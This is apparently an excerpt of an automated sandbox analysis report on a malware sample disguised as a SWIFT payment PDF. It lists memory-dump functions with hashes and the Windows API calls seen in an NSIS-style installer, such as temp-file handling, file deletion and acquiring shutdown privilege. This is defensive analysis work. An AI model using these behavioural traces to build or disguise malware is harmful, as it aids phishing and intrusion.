Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c93df9b0fce936aa93041616339bfa5c20ba0b1cd85366b09c2e8c9930d5863b
Instruction ID: bd00cb97d4ac907c03ee2effc363e19b91b5d607875b7bbd869ecf2029119997
Opcode Fuzzy Hash: c93df9b0fce936aa93041616339bfa5c20ba0b1cd85366b09c2e8c9930d5863b
Instruction Fuzzy Hash: D5211478D0420ADFEB00DFA5C8557EEBBB1FB89300F108929D815B32A4DB745A4ACF91

Function 0015B2E0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facb6d78aafbae9ba81ea44c657a033f7e33908e555c5fdef9165ce67347c245
Instruction ID: 4e5608a357cb68e7577b5e7e036f385c329157cefd72c9d8041abb83188024cc
Opcode Fuzzy Hash: facb6d78aafbae9ba81ea44c657a033f7e33908e555c5fdef9165ce67347c245
Instruction Fuzzy Hash: 98010036B083018FDB159B75489862E7BE6AF8561531548BDC80ACB221FF60CC0A8792

Function 0009D4D7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922255419.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction ID: d1a741e872e1ce4607b89ff8e39c07f22014ec1ebdd2348537134ad35ca9c363
Opcode Fuzzy Hash: e30d8c23d169001941ea9aa459473fa7ec8b4af4ddb27b59cb516a26a12e2698
Instruction Fuzzy Hash: E011D376544644DFCF06CF10D5C4B16BFB2FB94318F24C6AAD8490B616C33AD85ADBA2

Function 3A65B9C8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 130b5db321f23ae36fe9a641e6890667115647f098e2cebfd37ab0f74b25ef15
Instruction ID: 84d6580f9c9b9a46ccebc0f0a983f94f9aa7a9f0f416e27ec59634c5c6227b9a
Opcode Fuzzy Hash: 130b5db321f23ae36fe9a641e6890667115647f098e2cebfd37ab0f74b25ef15
Instruction Fuzzy Hash: 78211478D0420ADFEB00DFA5C8557EEBBB1FB89300F108929D815B32A4DB745A4ACF91

Function 00154E5F Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39a6bfca563e877d05bbfffad7af47a2162f6129e13997e4aea51325d70dffe
Instruction ID: b587b941de301d41ee19567879a6de0501a4792a4c1f200ba58f30799095da5b
Opcode Fuzzy Hash: f39a6bfca563e877d05bbfffad7af47a2162f6129e13997e4aea51325d70dffe
Instruction Fuzzy Hash: CB016832708144AFCB028E649C21AEF3FB6DFC9340B28802AF914CB281CB758D469B90

Function 0015B2F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3985b474287706d1c232e86c31354527048bc8d1983c05158f1fd6a8fc60f77a
Instruction ID: dd25587d42db07927f961f65135bcacd259d8e4b973cb97eb7fa540223b86ad3
Opcode Fuzzy Hash: 3985b474287706d1c232e86c31354527048bc8d1983c05158f1fd6a8fc60f77a
Instruction Fuzzy Hash: 4901D6367043119FD714AB79884862F76EBBFC86253148879D80DDB224FF70CC454791

Function 0015FC3F Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a709b804292fa882247aa8706943f695a79994d776d38d350d727d1fb7247603
Instruction ID: 79febd4d77916cc5b9622c2a1b5b1a5adf8c1db1cf49ed9780392847a3eaf005
Opcode Fuzzy Hash: a709b804292fa882247aa8706943f695a79994d776d38d350d727d1fb7247603
Instruction Fuzzy Hash: 0301AD30904208CFEB048FF0D8086E8BBB1EB8A302F005038E9147A260CB76594ACB60

Function 0015B158 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667992310b64a75c3281aaebd24d7b5c0f8c6bdac8fdd21348a2833131b4a5bf
Instruction ID: ef826f91e92d198b37dd33ee434b38f450d90ea4336e47f475de6768620fc78f
Opcode Fuzzy Hash: 667992310b64a75c3281aaebd24d7b5c0f8c6bdac8fdd21348a2833131b4a5bf
Instruction Fuzzy Hash: ADF0F834419F428FE3012B30ACBC2AA7FB0FF0B3137856D95E04AC6072DB694449CB11

Function 0015FE13 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cdcea2dbe8f4ac0f18b284d25e0f16d67f5039765c4ceb73055026b4dae6f0d
Instruction ID: b04a65babfd594368a8cea096e5619cc4c661b0681b2a701c8e1f9b77f9ae986
Opcode Fuzzy Hash: 0cdcea2dbe8f4ac0f18b284d25e0f16d67f5039765c4ceb73055026b4dae6f0d
Instruction Fuzzy Hash: FDF08C30A0A204DFD745DFB8D50929CBFB1EF4A301F2485AAD854E7661D7714A49DB00

Function 00151877 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 648fbe537fe6e00e006e7f42e38ee00e7a0ccbaf977025f185e5823745da0fba
Instruction ID: 09e5e2d4c09a92727f76db8d61ec90587f90ebc3427cca921c5764fce9c96c23
Opcode Fuzzy Hash: 648fbe537fe6e00e006e7f42e38ee00e7a0ccbaf977025f185e5823745da0fba
Instruction Fuzzy Hash: 40E0D831D153964EC7039FB098044EDBF30ED93610B4542E7D094BB052EB30194DC772

Function 0015FE20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f97e797188660c65917793be1b6c0a104405637f354ca0ebb0bfc0fd5fc05f4
Instruction ID: feabff3cfd944a41d3b44709182a2d6e7ac677f1d933ec6820aa19325607578f
Opcode Fuzzy Hash: 0f97e797188660c65917793be1b6c0a104405637f354ca0ebb0bfc0fd5fc05f4
Instruction Fuzzy Hash: 60E09A34D04208DFDB04DFB8E40969CBBF5EB49301F2080BAE818A3360EB709E46DB40

Function 0015FFB0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a461b8cf24b2ce732317a2bf5c099a4aa32f8ed7f9154fb0d3e77d9af8c01010
Instruction ID: 3fc37cdf41a9c71f7d7742c52c3704af94edc7e368bbdf8597f747ab6007adc7
Opcode Fuzzy Hash: a461b8cf24b2ce732317a2bf5c099a4aa32f8ed7f9154fb0d3e77d9af8c01010
Instruction Fuzzy Hash: 6BD02735549341DFC7038B309420C55FF23DFC7101F0146DED84847560C310881E4343

Function 00151888 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37edafb4d66f51732a10af9ef24833c264810173fe93ef543f6f91c657fe3a8
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: c37edafb4d66f51732a10af9ef24833c264810173fe93ef543f6f91c657fe3a8
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 001556FF Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9da5135879a716e2983fb0fa328f252c69bb26381283d1f7df5d4a048bb90f4c
Instruction ID: 299b84c0034ce81ab8b45489c68337aceab995ee28db3568067a8e3414cfd2a4
Opcode Fuzzy Hash: 9da5135879a716e2983fb0fa328f252c69bb26381283d1f7df5d4a048bb90f4c
Instruction Fuzzy Hash: 28E0C23504C3884FCB23E770ACA45C9BF36AB81204F004679D40A0B6BFDFB4168ADB21

Function 00157EC0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 9968b1f7b0fc0b7bf7e049fa17098cae9ca96013ffba795bad1e7fd54a298b3b
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: F4C0123310C1286A9224504E7C469A3A74CC2C13B5A210177F93D8724054425C4411B4

Function 0015FF23 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17ddd4f347c6c81519aa02bc3a5bb511777ff3a9c4afbe2735d1f8cae3414509
Instruction ID: 209fff4c6dd79abf6d747461b67e00fd1c3b2e1a220afe2d051abea7abffb973
Opcode Fuzzy Hash: 17ddd4f347c6c81519aa02bc3a5bb511777ff3a9c4afbe2735d1f8cae3414509
Instruction Fuzzy Hash: 89D02E3090A285CFD382DFF499066E9BF30AB07302F0481CEE808A3A60C7340E18D312

Function 00159F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5bc33a57009f56c43bc38a30599f785aaddb2193e07428d5858143e50126f35
Instruction ID: b33808f1c184a331f20a667c8890a935d90cd17d50f1231bd2586958cb30cbe1
Opcode Fuzzy Hash: d5bc33a57009f56c43bc38a30599f785aaddb2193e07428d5858143e50126f35
Instruction Fuzzy Hash: 43D0673AB40018DFCB149F99EC809DDF7B6FB98221B148116E915A3261C7319965DB64

Function 0015FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90ec4c3bfa0240a88d4aa7a6fa8bb8a7ed3dabeb1db778e077a7e854c49f27c2
Instruction ID: 8c810169ca1ffb11eda698e882c2229f92b67734321277a0d42a9852433f172c
Opcode Fuzzy Hash: 90ec4c3bfa0240a88d4aa7a6fa8bb8a7ed3dabeb1db778e077a7e854c49f27c2
Instruction Fuzzy Hash: BDD0A930801208DBC340DBA4E80ABA9BB78A703302F0010A8A808232208BB10E04C694

Function 3A65BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16ebe0eb42fd33ecf86f166394e2c8ba042f1afdb58b9610731932b8b693fc59
Instruction ID: aa332d600f8e045fefaf9f490628bbfbf440a1b9545ba1286b9ecbafbc733235
Opcode Fuzzy Hash: 16ebe0eb42fd33ecf86f166394e2c8ba042f1afdb58b9610731932b8b693fc59
Instruction Fuzzy Hash: E1C08C74001E0A8BE2042F90BC0CB79B7B8F707313FC82E10F00C028708BB84414CA49

Function 00155710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2922470617.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b6ca7760bb442d044cc92154d5db89cb1cc1c3227f617bc088cfc4c43caa5b
Instruction ID: b8aae9b73c2975ac37e29d3739e35eea931936cd655f145499e36beb3019acaa
Opcode Fuzzy Hash: d3b6ca7760bb442d044cc92154d5db89cb1cc1c3227f617bc088cfc4c43caa5b
Instruction Fuzzy Hash: 5CC012300583084FD542F7A5DD45555B72EA7802007408530A0090767EDFF469CA9A90

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

\Temp, xrefs: 004034DC
USERENV, xrefs: 004032F1
TMP, xrefs: 00403512
~nsu, xrefs: 00403623
SeShutdownPrivilege, xrefs: 0040374D
.tmp, xrefs: 0040363F
Error launching installer, xrefs: 004035AD
TEMP, xrefs: 0040350A
Low, xrefs: 004034F8
NSIS Error, xrefs: 00403341
UXTHEME, xrefs: 004032E7
SETUPAPI, xrefs: 004032FB

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

N, xrefs: 00404DBB
M, xrefs: 00404CDA
, xrefs: 004050E9

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 3A65AFF8 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

PH^q, xrefs: 3A65B43D
PH^q, xrefs: 3A65B429
PH^q, xrefs: 3A65B532
PH^q, xrefs: 3A65B62D
", xrefs: 3A65B7CE
LjAp, xrefs: 3A65B3A3
LjAp, xrefs: 3A65B498
0oAp, xrefs: 3A65B147
LjAp, xrefs: 3A65B2C1
PH^q, xrefs: 3A65B331
PH^q, xrefs: 3A65B345
LjAp, xrefs: 3A65B590
LjAp, xrefs: 3A65B2AB
LjAp, xrefs: 3A65B3B9
PH^q, xrefs: 3A65B51E
LjAp, xrefs: 3A65B5A6
PH^q, xrefs: 3A65B619
LjAp, xrefs: 3A65B4AE

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: "$0oAp$LjAp$LjAp$LjAp$LjAp$LjAp$LjAp$LjAp$LjAp$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-2009027844
Opcode ID: 0c1be08960d9de8f425da84362cc384fc256d8fb46877425daba689b97782fed
Instruction ID: 09f062020013ec431d901746cfab1a791e158c2a03496fcab655acc449841028
Opcode Fuzzy Hash: 0c1be08960d9de8f425da84362cc384fc256d8fb46877425daba689b97782fed
Instruction Fuzzy Hash: 2D329F74E01218CFEB64CFA5C994B9DBBB2BF89300F1080A9D509AB365DB759E85CF50

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,74DF3420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 3A65AFF7 Relevance: 12.9, Strings: 10, Instructions: 362COMMON

Download Yara Rule

Strings

PH^q, xrefs: 3A65B43D
PH^q, xrefs: 3A65B429
PH^q, xrefs: 3A65B532
PH^q, xrefs: 3A65B62D
PH^q, xrefs: 3A65B51E
", xrefs: 3A65B7CE
0oAp, xrefs: 3A65B147
PH^q, xrefs: 3A65B619
PH^q, xrefs: 3A65B331
PH^q, xrefs: 3A65B345

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: "$0oAp$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-2641638890
Opcode ID: 7daea1356bb133811c2580ed78e6a6d99776e585ce5a137f45773e2505e463d2
Instruction ID: 4c9113f7436bb657d2844a562082bc93db4602d3812e60bec258cd4459e09c24
Opcode Fuzzy Hash: 7daea1356bb133811c2580ed78e6a6d99776e585ce5a137f45773e2505e463d2
Instruction Fuzzy Hash: 9102A174E012188FEB68CFA5C954BDDBBB2BF89300F1081A9D509AB365DB759E85CF10

Function 3A657B4F Relevance: 1.9, Strings: 1, Instructions: 610COMMON

Download Yara Rule

Strings

.5vq, xrefs: 3A657C7B

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: 0d7ae483b30c3c80b8cdffb85c8124d9fcf5bbfa96d183c01d8dabe8862f20e2
